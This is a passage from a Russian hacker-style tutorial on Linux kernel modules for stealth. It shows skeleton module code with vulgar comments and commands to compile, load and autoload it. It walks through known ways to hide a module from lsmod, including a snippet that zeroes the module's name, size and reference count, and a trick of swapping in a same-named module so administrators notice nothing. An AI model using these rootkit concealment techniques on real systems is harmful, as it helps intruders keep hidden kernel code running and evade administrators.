Модуль раз, модуль два…
Подавляющее большинство методик стелсирования работает на уровне ядра, пристыковываясь к нему в виде загружаемого модуля (Loadable Kernel Module или сокращенно LKM). В программировании модулей нет ничего сложного, особенно для старых ядер с версией2.4.
Исходный текст простейшего модуля выглядит так:
// сообщаем компилятору, что это модуль режима ядра
#define MODULE
#define __KERNEL__
// подключаем заголовочный файл для модулей
#include <linux/module.h>
// на многоЦП'шных машинах подключаем еще и smp_lock
#ifdef __SMP__
#include <linux/smp_lock.h>
#endif
// функция, выполняющая при загрузке модуля
int init_module(void)
{
// свершилось! мы вошли в режим ядра
// и теперь можем делать _все_ что угодно!
// с порога ссать, с балкона мусор кидать,
// баб е…
…
// мяукнем что-нибудь
printk("\nWOW! Our module has been loaded!\n");
// успешная инициализация
return(0);
}
// функция, выполняющаяся при выгрузке модуля
void cleanup_module(void)
{
// мяукнем что-нибудь
printk("\nFuck! Our module has been unloaded\n");
}
// пристыковываем лицензию, по которой распространяется
// данный файл, если этого не сделать, модуль успешно
// загрузится, но операционная система выдаст warring,
// сохраняющийся в логах и привлекающий внимание админов
MODULE_LICENSE("GPL");
Листинг 1 скелет простейшего модуля для ядер с версией 2.4
Начиная с версии 2.6 в ядре произошли значительные изменения и теперь программировать приходится так:
#ifdef LINUX26
static int __init my_init()
#else
int init_module()
#endif
#ifdef LINUX26
static void __exit my_cleanup()
#else
int cleanup_module()
#endif
#ifdef LINUX26
module_init(my_init);
module_exit(my_cleanup);
#endif
Листинг 2 скелет простейшего модуля для ядер с версией 2.6
За подробностями обращайтесь к man'у ("man –k module"), официальной документации (/usr/src/linux/Documentation/modules.txt) или книге "Linux kernel internails", которую легко найти в Осле. Как бы там ни было, только что написанный модуль необходимо откомпилировать: "gcc –c my_module.c –o my_module.o" (настоятельно рекомендуется задействовать оптимизацию, добавив ключ –O2 или -O3), а затем загрузить внутрь ядра: "insmod my_module.o". Загружать модули может только root. Не спрашивайте меня, как его получить — это тема отдельного разговора. Чтобы модуль автоматически загружался вместе с операционной системой — добавьте его в файл /etc/modules.
Команда "lsmod" (или "dd if=/proc/modules bs=1") отображает список загруженных модулей, а "rmmod my_module" выгружает модуль из памяти. Обратите внимание на отсутствие расширения в последней случае.
Module Size Used by Tainted: P
my_module 240 0 (unused)
parport_pc 25128 1 (autoclean)
lp 7460 0
processor 9008 0 [thermal]
…
fan 1600 0 (unused)
button 2700 0 (unused)
rtc 7004 0 (autoclean)
BusLogic 83612 2 (autoclean)
ext3 64388 1 (autoclean)
Листинг 3 список модулей, выданный командой lsmod, строка с нашим модулем выделена полужирным шрифтом
Неожиданное появление новых модулей всегда настораживает админов, поэтому прежде чем приступать к боевым действиям, мы должны как следует замаскироваться. Автору известно три способа маскировки: а) исключение модуля из списка модулей (метод J.B., см. файл modhide1.c) – крайне ненадежен, препятствует нормально работе ps, top и других подобных утилит, часто роняет систему; б) перехват обращений к /proc/modules
(метод Runar'a Jensen'а, опубликованный на Bugtraq и реализующийся так же, как и перехват остальных обращений к файловой системе) — довольно громоздкий и ненадежный метод, бессильный против команды "dd if=/proc/modules bs=1"; в) затирание структуры module info (метод Solar'a Designer'a, описанный в статье "Weakening the Linux Kernel", опубликованной в 52 номере PHRACK'a) — элегантный и довольно надежный. Расскажем о нем поподробнее.
Вся информация о модуле хранится в структуре module info, содержащейся внутри системного вызова sys_init_module(). Подготовив модуль к загрузке и заполнив module info
надлежащим образом, он передает управление нашей функции init_module
(см. "man init_module"). Любопытная особенность ядра — безымянные модули без референсов не отображаются! Чтобы удалить модуль из списка достаточно обнулить поля name и refs. Это легко. Определить адрес самой module info намного сложнее. Ядро не заинтересовано сообщать его первому встречному хакеру и приходится действовать исподтишка. Исследуя мусор, оставшийся в регистрах, на момент передачи управления init_module, Solar Dsigner обнаружил, что в одним из них содержится указатель на… module info! В его версии ядра это был регистр EBX, в иных версиях он может быть совсем другим или даже вовсе никаким. К тому же существует специальная заплатка для старых ядер, затыкающая эту лазейку, правда, далеко не у всех она установлена. Впрочем, эффективный адрес module info
легко установить дизассемблированием, точнее не адрес module info (память под него выделяется динамически), а адрес машинной инструкции, ссылающейся на module info. Правда, в каждой версии ядра он будет своим…
Простейший пример маскировки выглядит так (кстати, в PHRACK'e опечатка: "ref" вместо "refs"):
int init_module()
{
register struct module *mp asm("%ebx"); // подставьте
сюда регистр,
// в котором ваше ядро держит
// адрес module info
*(char*)mp->name=0; // затираем имя модуля
mp->size=0; // затираем размер
mp->refs=0; // затираем референсы
}
Листинг 4 маскировка модуля методом Solar'a Dsigner'a
Неправильное определение адреса module info скорее всего уронит ядро системы или заблокирует просмотр списка модулей, что сразу же насторожит администратора (см. рис 2). Но у нас есть в запасе еще один вариант.
Просматриваем список установленных модулей, находим из них самый ненужный, выгружаем его из памяти, и загружаем свой — с таким же точно именем. Если нам повезет, администратор ничего не заметит…

Рисунок 2 последствия маскировки модуля методом Solar'a Dsigner'a — команды insmod/lsmod/rmmod больше не работают